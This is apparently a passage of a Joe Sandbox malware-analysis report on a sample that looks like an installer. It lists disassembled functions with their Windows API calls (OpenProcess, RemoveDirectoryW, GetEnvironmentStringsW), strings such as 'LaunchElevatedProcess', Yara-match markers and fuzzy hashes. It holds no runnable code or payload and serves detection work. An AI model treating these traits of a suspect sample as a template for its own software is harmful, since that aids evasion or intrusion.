Function 0091C68F Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0091C756
___AdjustPointer.LIBCMT ref: 0091C779
___AdjustPointer.LIBCMT ref: 0091C815

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 6d18d8a80d86bdb695e35ab7e18308fb3d6d2364dcbfe2a9e6075857e19834c9
Instruction ID: e76010054ffc3fb9f88c9b1d12fec9cc5c4bdb56dec8c3b057e55abf1df12cd3
Opcode Fuzzy Hash: 6d18d8a80d86bdb695e35ab7e18308fb3d6d2364dcbfe2a9e6075857e19834c9
Instruction Fuzzy Hash: 5D51D3B274520A9FEB298F54D841BFAB7A8EF84711F244529E8165B2D0E771EDC0CF90

Function 008A0130 Relevance: 6.1, APIs: 4, Instructions: 147COMMON

Download Yara Rule

APIs

Part of subcall function 008CD950: GetLastError.KERNEL32 ref: 008CDABF
Part of subcall function 008CD950: GetFileAttributesW.KERNEL32(00000003,00000003,?,?,?,00000000), ref: 008CDB41
Part of subcall function 008CD950: FindNextFileW.KERNEL32(?,?,?,?,00000000,00000000), ref: 008CDBB2
Part of subcall function 008CD950: FindClose.KERNEL32(?), ref: 008CDBC6

GetLastError.KERNEL32 ref: 008A01B2
SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 008A02A0
RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,?,?), ref: 008A02F7

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: File$AttributesErrorFindLast$CloseDirectoryNextRemove
String ID:
API String ID: 3974083381-0
Opcode ID: 9d6f2521ac65a02a0243fd2f8ab5ad931537f1353afbf63400288f537918f5fe
Instruction ID: e36f235b0534eb580807e3b0f098e761809dcd293949b95acec39bec727de5ee
Opcode Fuzzy Hash: 9d6f2521ac65a02a0243fd2f8ab5ad931537f1353afbf63400288f537918f5fe
Instruction Fuzzy Hash: 5951C971A007265BEF25AB64CC49BBE77B8FF42740F0401A9E51AE7581EB349E44CF91

Function 0084A8F0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 99COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(--> Installer > MainWindow::OnCloseWindow,00943D4B,00000000,OnCloseWindow,00000217), ref: 0084A989

Strings

--> Installer > MainWindow::OnCloseWindow, xrefs: 0084A968
--> Installer > MainWindow::OnCloseWindow: WaitForInstallAsync timeout, xrefs: 0084A9BE
OnCloseWindow, xrefs: 0084A953, 0084A9A9

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLast
String ID: --> Installer > MainWindow::OnCloseWindow$--> Installer > MainWindow::OnCloseWindow: WaitForInstallAsync timeout$OnCloseWindow
API String ID: 1452528299-3845996101
Opcode ID: 3b0b75e18a392b676a4f4439add517e8146dc3f61657d17c8511c9cce29834a0
Instruction ID: b8c675fd7e7e3f7fac755549aaffcd329cf0c628f51db41c5e4f51f89eb68b89
Opcode Fuzzy Hash: 3b0b75e18a392b676a4f4439add517e8146dc3f61657d17c8511c9cce29834a0
Instruction Fuzzy Hash: 1431D2717483046BDA04AB749C56B6EB769FFC0B08F00881CF546D72D2CBA1A9009AA2

Function 008C6EC0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 008C6F1F
GetLastError.KERNEL32(Failed to initialize crypt context, error: ,00952ED6,00000001,Initialize,0000002B,?), ref: 008C6F57

Strings

Failed to initialize crypt context, error: , xrefs: 008C6F4D
Initialize, xrefs: 008C6F36

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLast
String ID: Failed to initialize crypt context, error: $Initialize
API String ID: 1452528299-567339006
Opcode ID: 9c1b8e2db9e71eeda3a763a281f923744fd1aae9b6001af13d78bd9270d10628
Instruction ID: 3d294d67b012ecdaa58a6adf54e5a09962b798964c30b4d88284dd15f013031e
Opcode Fuzzy Hash: 9c1b8e2db9e71eeda3a763a281f923744fd1aae9b6001af13d78bd9270d10628
Instruction Fuzzy Hash: EF21F472A08341ABD710AB74EC42A6F77A4FFC5714F04493DF995C6292EB70E91887A3

Function 00924606 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0092460E

Part of subcall function 0092450A: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0091DE8B,?,00000000,-00000008), ref: 0092456B

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00924646
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00924666

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 46bf1f35e41335295e380a121980149eb98e7d95321e7931e98b5ee65896b779
Instruction ID: 6f34e9804a5874515710ae982e21f5a2ce06b887458d1ccd38cb249ad9aad965
Opcode Fuzzy Hash: 46bf1f35e41335295e380a121980149eb98e7d95321e7931e98b5ee65896b779
Instruction Fuzzy Hash: B31126F15016397F67112B76BC8EDBF7A5DEE863947140424F602D1108EB74CD0056F5

Function 0089C6C0 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00100451,00000000,?,008B8551,?,?), ref: 0089C6D4
GetLastError.KERNEL32 ref: 0089C6E2
SetLastError.KERNEL32(00000000), ref: 0089C6F7
GetCurrentProcess.KERNEL32 ref: 0089C701

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLastProcess$CurrentOpen
String ID:
API String ID: 4145867261-0
Opcode ID: bac0be39769ac007d57a918f083a99c6fca6511ca8a8092adc072717cf3945d5
Instruction ID: 1d3de1962a73ad8ddbf1b87db80ee369a12b379570b2960067e055848cb966f7
Opcode Fuzzy Hash: bac0be39769ac007d57a918f083a99c6fca6511ca8a8092adc072717cf3945d5
Instruction Fuzzy Hash: 65F0E271204304AFDB002FBD9C8861A7B98EB48366B080528FA48C7291D7719C019B60

Function 0092C09A Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,00926884,00000000,00000001,?,?,?,00917B59,?,00000000,00000000), ref: 0092C0B1
GetLastError.KERNEL32(?,00926884,00000000,00000001,?,?,?,00917B59,?,00000000,00000000,?,?,?,0091749F,?), ref: 0092C0BD

Part of subcall function 0092C110: CloseHandle.KERNEL32(FFFFFFFE,0092C0CD,?,00926884,00000000,00000001,?,?,?,00917B59,?,00000000,00000000,?,?), ref: 0092C120

___initconout.LIBCMT ref: 0092C0CD

Part of subcall function 0092C0EF: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0092C08B,00926871,?,?,00917B59,?,00000000,00000000,?), ref: 0092C102

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,00926884,00000000,00000001,?,?,?,00917B59,?,00000000,00000000,?), ref: 0092C0E2

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 8cc0f4154e9d1b258cffd903b7a11ed5ca0349259107db54dff66bd1d9461c3e
Instruction ID: 5b06a68eefb8dcce5135ec28c198f107dde6b2efd2af000b8841d2945432f9f0
Opcode Fuzzy Hash: 8cc0f4154e9d1b258cffd903b7a11ed5ca0349259107db54dff66bd1d9461c3e
Instruction Fuzzy Hash: E0F03076498224FBCF222FD2FC09E9E3F66FB493A1F008411FE0995131C7328821AB91

Function 05956984 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 442COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0595698E

Part of subcall function 0594CD2C: __EH_prolog3.LIBCMT ref: 0594CD33

Part of subcall function 0594CF92: __EH_prolog3.LIBCMT ref: 0594CF99

Part of subcall function 0594C9C3: __EH_prolog3_GS.LIBCMT ref: 0594C9CA

Part of subcall function 0595670B: __EH_prolog3_GS.LIBCMT ref: 05956715

Part of subcall function 05958264: __EH_prolog3_GS.LIBCMT ref: 0595826B

Part of subcall function 0595612E: __EH_prolog3_GS.LIBCMT ref: 05956138

Part of subcall function 05952D29: __EH_prolog3.LIBCMT ref: 05952D30

Part of subcall function 0595663A: __EH_prolog3_GS.LIBCMT ref: 05956641

Part of subcall function 05958211: __EH_prolog3.LIBCMT ref: 05958218

Part of subcall function 0595690F: __EH_prolog3_GS.LIBCMT ref: 05956916

Strings

!, xrefs: 05956F8D
<D, xrefs: 05956989

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID: H_prolog3_$H_prolog3
String ID: <D$!
API String ID: 3952504126-4236082241
Opcode ID: cf2aab86786eca2c6e23c1d6a6b22fc6f06a7575f9f2b41736000418809f6622
Instruction ID: 549238dc25bb612a2595e212118a91844da223ecb284d29237b9517a2fb35548
Opcode Fuzzy Hash: cf2aab86786eca2c6e23c1d6a6b22fc6f06a7575f9f2b41736000418809f6622
Instruction Fuzzy Hash: 67024930E05288EEDF14EBA4D959BEDBBB4AF95300F5040A9D40167281EB746F48DFA6

Function 0090E732 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 291COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0090E8A9

Strings

-, xrefs: 0090E7FA
+, xrefs: 0090E807

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: __aulldiv
String ID: +$-
API String ID: 3732870572-2137968064
Opcode ID: 9e0c9a6670e52ce7c6c41f1c23168dbaa328be9cd92c1b1dc58e6873131f9eba
Instruction ID: dca5fd9837665d3fd29a24a548f008cacc266bcf28d3b86dc9356a9b33de15ba
Opcode Fuzzy Hash: 9e0c9a6670e52ce7c6c41f1c23168dbaa328be9cd92c1b1dc58e6873131f9eba
Instruction Fuzzy Hash: 94A1CB31E00259AFDF64CE7888507BE7BA9EF46320F188D5AECB5AB3C1D23499418B50

Function 059500D9 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

Strings

, xrefs: 05950481
', xrefs: 0595041B

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID: H_prolog3_
String ID: $'
API String ID: 2427045233-2481900351
Opcode ID: 057dc388854ea838bdbfc3a23c8c95e591b3caf2bfc5d976299ee58a5d7be9a7
Instruction ID: 398543b805bb1d8b12723415d77098c7d8021e592793e0f4a5c1ffd91d8d6f11
Opcode Fuzzy Hash: 057dc388854ea838bdbfc3a23c8c95e591b3caf2bfc5d976299ee58a5d7be9a7
Instruction Fuzzy Hash: 63914330D09288DFDB01EBA4C958BEDBBB4AF55310F14809DC495A7281EB786F09CF62

Function 0595B544 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0595B54B
Concurrency::cancel_current_task.LIBCPMT ref: 0595B7ED

Part of subcall function 0595BA37: __EH_prolog3_GS.LIBCMT ref: 0595BA3E

Strings

VJD, xrefs: 0595B546

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_taskH_prolog3_H_prolog3_catch
String ID: VJD
API String ID: 2709520005-3965167894
Opcode ID: 37d102c94880c8b40f7f8822df0ca950d373e151f53097bbf910094cd7df9499
Instruction ID: de2019b89e812b17ab69270a4ce8e949a1a1bab6f915b465029cfd59eefb692b
Opcode Fuzzy Hash: 37d102c94880c8b40f7f8822df0ca950d373e151f53097bbf910094cd7df9499
Instruction Fuzzy Hash: 74619772F052199FCF14EFA8D9949BDB7F6AF88320F24411AE816F7290DB706D118B94

Function 008E6130 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 008E6174
ReleaseSRWLockExclusive.KERNEL32(?,?,00000021,?,00004000,?,?), ref: 008E628A

Part of subcall function 008E6680: TryAcquireSRWLockExclusive.KERNEL32(00972AD0,00000000,00000000,00000000,00000000), ref: 008E669A

Strings

first, xrefs: 008E62ED

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExclusiveLock$Acquire$Release
String ID: first
API String ID: 1678258262-2456940119
Opcode ID: f2c3a20b977fa0b293933e34a493d47794395058963f76c5bb319bec2be065fe
Instruction ID: b2371ad657d707739d5104e9cb811b67a996e0ccddde71555f9473ba9b53dd36
Opcode Fuzzy Hash: f2c3a20b977fa0b293933e34a493d47794395058963f76c5bb319bec2be065fe
Instruction Fuzzy Hash: A551E1706043418FC714CF29C880A6AB7E1FFD93A4F14892DF999DB295D730E846CB91

Function 0089CBE0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 153synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,00000000), ref: 0089CD73

Strings

launch_win.cc, xrefs: 0089CD4D
LaunchElevatedProcess, xrefs: 0089CD52, 0089CE16

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ObjectSingleWait
String ID: LaunchElevatedProcess$launch_win.cc
API String ID: 24740636-3547372863
Opcode ID: 23f795304cfee970a4de19227c18d75bd612686717f261cc703a93055badc9e0
Instruction ID: 209430cf16f277a2747bc9c4a636456245d4d3236cce550f46efb641a68083a1
Opcode Fuzzy Hash: 23f795304cfee970a4de19227c18d75bd612686717f261cc703a93055badc9e0
Instruction Fuzzy Hash: 6C517FB19083809FDB209F24C841BAABBE4FFC5314F048A1DF8C997252EBB19548DB53

Function 00848060 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 129COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 008480BB

Strings

source, xrefs: 008480B6, 008480FE, 00848105, 00848116
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 008481AD

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen
String ID: ..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$source
API String ID: 4218353326-1467476835
Opcode ID: bc666f337a8978639b28b166b1181ac8d66138a074929ce1f3fd79f37f1d6c04
Instruction ID: c9b66e0a72139c58a60c99e27bf8af9bfc96b19f89518426952b67eba37ddb0f
Opcode Fuzzy Hash: bc666f337a8978639b28b166b1181ac8d66138a074929ce1f3fd79f37f1d6c04
Instruction Fuzzy Hash: CD41E671E0025DABDF14ABA4DC82AEE7775FF95354F04013AF905B7282DB702949C7A2

Function 008E6520 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

TryAcquireSRWLockExclusive.KERNEL32(?), ref: 008E6548
ReleaseSRWLockExclusive.KERNEL32(?), ref: 008E6622

Part of subcall function 008E6680: TryAcquireSRWLockExclusive.KERNEL32(00972AD0,00000000,00000000,00000000,00000000), ref: 008E669A

Strings

first, xrefs: 008E6658

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExclusiveLock$Acquire$Release
String ID: first
API String ID: 1678258262-2456940119
Opcode ID: dc06a6577daf7b86baad5382f75abf1fcf83ffec955f7eb23646f4871e8ddf11
Instruction ID: 4e6907865c704d8b913b973ba9fc6dc172efb8e23bd04ec93a3a8d246cad9c0a
Opcode Fuzzy Hash: dc06a6577daf7b86baad5382f75abf1fcf83ffec955f7eb23646f4871e8ddf11
Instruction Fuzzy Hash: 7A316171A103418FC7148F2BC841766B7A2FFE6794F18C67CF858DB269E77198628781

Function 008F02D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32(?,00000000,00000000,?,?,?,-00000001,?,008F00C5,008CE3DD,?,-00000001,?,008CE3DD,CR_SOURCE_ROOT,0000000E), ref: 008F0303
GetEnvironmentVariableW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,-00000001), ref: 008F0362

Strings

..\..\third_party\libc++\src\include\string_view:267: assertion __s != nullptr failed: null pointer passed to non-null argument of char_traits<...>::length, xrefs: 008F03D8

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: EnvironmentVariable
String ID: ..\..\third_party\libc++\src\include\string_view:267: assertion __s != nullptr failed: null pointer passed to non-null argument of char_traits<...>::length
API String ID: 1431749950-3833978849
Opcode ID: 4d6027af46a6bc1d2655bb8d6b6a05b9bb0def642764fad81b88d00fd5c7ded4
Instruction ID: 8ef2402148ced6f53e72c4707a135ed8d96ced39ff6f5fceadba877ad5fad105
Opcode Fuzzy Hash: 4d6027af46a6bc1d2655bb8d6b6a05b9bb0def642764fad81b88d00fd5c7ded4
Instruction Fuzzy Hash: 693106B1E0021D6FDB15AB78DC45BBF76B8EF54314F044029FE05E7243E764A94987A2

Function 0089C2D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0089C325
__aulldiv.LIBCMT ref: 0089C33D

Strings

-, xrefs: 0089C3F8

Memory Dump Source

